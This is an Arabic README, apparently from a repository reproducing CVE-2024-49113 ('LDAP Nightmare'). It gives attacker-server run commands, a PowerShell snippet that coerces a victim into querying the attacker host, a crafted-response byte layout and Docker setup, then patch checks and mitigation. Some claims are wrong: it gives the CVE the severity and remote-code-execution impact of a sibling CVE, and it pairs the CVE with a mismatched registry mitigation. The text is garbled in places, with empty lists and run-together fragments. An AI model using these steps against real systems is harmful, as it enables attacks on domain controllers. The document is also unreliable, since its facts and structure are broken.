
إعادة إنتاج cve-2024-49113-ldap_nightmare_reproduction
| الحقل | القيمة |
|---|
| CVE | CVE-2024-49113 |
| الاسم المستعار | كابوس LDAP |
| CVSS 3.1 | 9.8 — حرج |
| CWE | CWE-122 — تجاوز سعة المخزن المؤقت في الكومة |
| تاريخ الاكتشاف | SafeBreach (نشرت إثبات المفهوم في يناير 2025) |
| الاستغلال | تم تأكيد استغلال نشط في البرية |
| التصحيح | تحديثات Patch Tuesday من Microsoft ديسمبر 2024 (KB5048685 / KB5048652) |
CVE-2024-49113 هي ثغرة تجاوز سعة مخزن مؤقت في الكومة خطيرة في مكتبة عميل LDAP لنظام Windows (wldap32.dll). يمكن لمهاجم بعيد غير مصادَق استغلال الثغرة عن طريق إرسال استجابة LDAP مصممة بعناية إلى جهاز Windows ضحية يقوم بإرسال استعلام LDAP (مثل وحدة تحكم بالمجال تجري عمليات بحث في الدليل).
نظرًا لأن وحدات تحكم المجال في Windows ترسل بشكل روتيني استعلامات LDAP إلى وحدات تحكم مجال أخرى وخوادم أعضاء وخوادم كتالوج شامل، فإن هذا الخلل خطير بشكل خاص في بيئات Active Directory. يحقق الاستغلال الناجح تنفيذ كود عن بُعد في سياق حساب النظام المحلي (على وحدات تحكم المجال)، مما يمنح المهاجم سيطرة كاملة على الخادم المستهدف.
تم إصدار إثبات المفهوم العام (الذي أطلق عليه اسم «كابوس LDAP») بواسطة SafeBreach في يناير 2025 بعد أن أصدرت Microsoft إصلاحات ضمن تحديثات ديسمبر 2024 Patch Tuesday.
تقع الثغرة في wldap32.dll — وهو تطبيق Windows لعميل بروتوكول الوصول إلى الدليل الخفيف (LDAP) كما هو معرَّف في RFC 4511.
عندما يستقبل عميل LDAP استجابة Search Result Entry، تقوم المكتبة بتحليل وحدات بيانات البروتوكول (PDUs) لرسالة LDAP داخل حلقة فك ترميز BER (Basic Encoding Rules). يؤدي خلل في منطق تخصيص الذاكرة في الكومة أثناء تحليل قيم سمات LDAP إلى قيام وحدة فك الترميز بكتابة بيانات تتجاوز حدود مخزن مؤقت مخصص في الكومة.
بالتحديد:
جميع الإصدارات المدعومة من Windows Server و Windows Client معرضة للخطر قبل تحديثات الأمان الصادرة في 10 ديسمبر 2024:
تحديثات ديسمبر 2024 Patch Tuesday التي تعالج هذا CVE هي:
┌──────────────────┐ LDAP Query ┌─────────────────────┐
│ Victim Host │ ──────────────────────────▶ │ Attacker LDAP │
│ (Windows DC) │ │ Server (This PoC) │
│ │ ◀────────────────────────── │ │
│ wldap32.dll │ Crafted LDAP Response │ exploit.py │
│ overflowed │ (heap overflow payload) │ port 389 │
└──────────────────┘ └─────────────────────┘
على الضحية، تحقق من حزم KB المثبتة:
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }
إذا لم تظهر أي نتائج، فإن النظام غير مُصحَّح وعرضة للخطر.
على جهاز المهاجم، قم بتشغيل إثبات المفهوم هذا:
python exploit.py --listen-ip 192.168.1.100 --listen-port 389
حيث 192.168.1.100 هو عنوان IP الخاص بالمهاجم.
ملاحظة: على Linux، يتطلب الربط بالمنفذ 389 صلاحيات الجذر (sudo). على Windows، قد تكون صلاحيات المسؤول مطلوبة.
من جهاز الضحية (PowerShell، كمسؤول):
# Force an LDAP search against the attacker server
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null
try {
$results = $searcher.FindAll()
} catch {
Write-Host "Connection attempted — check the PoC server for crash details"
}
بدلاً من ذلك، استخدم ldp.exe (مضمن مع Windows Server / RSAT):
DC=evil,DC=local[*] Sending malicious search result entry... ويرسل الاستجابة المصممة.lsass.exe الخاصة بالضحية أو عملية عميل LDAP مع انتهاك وصول (0xC0000005)، أو قد يعرض النظام شاشة زرقاء (BSOD).يتم توفير Dockerfile لتشغيل إثبات المفهوم في بيئة معزولة:
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare
يقوم exploit.py المرفق بتنفيذ:
--listen-ip, --listen-port, --payload-size).| الإزاحة | الحقل | القيمة |
|---|---|---|
| 0x00 | علامة رسالة LDAP (0x30) | تسلسل |
| 0x01–0x02 | الطول الإجمالي (مصمم) | قيمة كبيرة تؤدي إلى تجاوز السعة |
| 0x03 | ProtocolOp (0x64) | Search Result Entry |
| 0x04–0x0E | حقول نتيجة LDAP | ترويسة قياسية |
| 0x0F+ | قائمة السمات | مشغل تجاوز السعة (الطول = 0xFFFF) |
# Start the malicious server
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389
# In another terminal, watch for connections
tcpdump -i any port 389 -X
قم بتثبيت تحديثات 10 ديسمبر 2024 Patch Tuesday:
إذا تعذر تطبيق التصحيح فورًا:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
Restart-Service NTDS
wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
| المصدر | الرابط |
|---|---|
| Microsoft Security Response Center | MSRC CVE-2024-49113 |
| SafeBreach (الاكتشاف الأصلي) | منشور SafeBreach — LDAP Nightmare |
| NVD | NVD CVE-2024-49113 |
| CWE-122 | تجاوز سعة المخزن المؤقت في الكومة |
| RFC 4511 | بروتوكول LDAPv3 |
| ديسمبر 2024 Patch Tuesday | ملاحظات إصدار Microsoft |
هذه المادة مقدمة لأغراض تعليمية ولاختبارات الأمان المصرح بها فقط. الاستغلال غير المصرح به لـ CVE-2024-49113 ضد أنظمة دون إذن صريح يعد غير قانوني. المؤلفون غير مسؤولين عن أي إساءة استخدام لهذه المعلومات. احصل دائمًا على تصريح كتابي قبل اختبار أي نظام.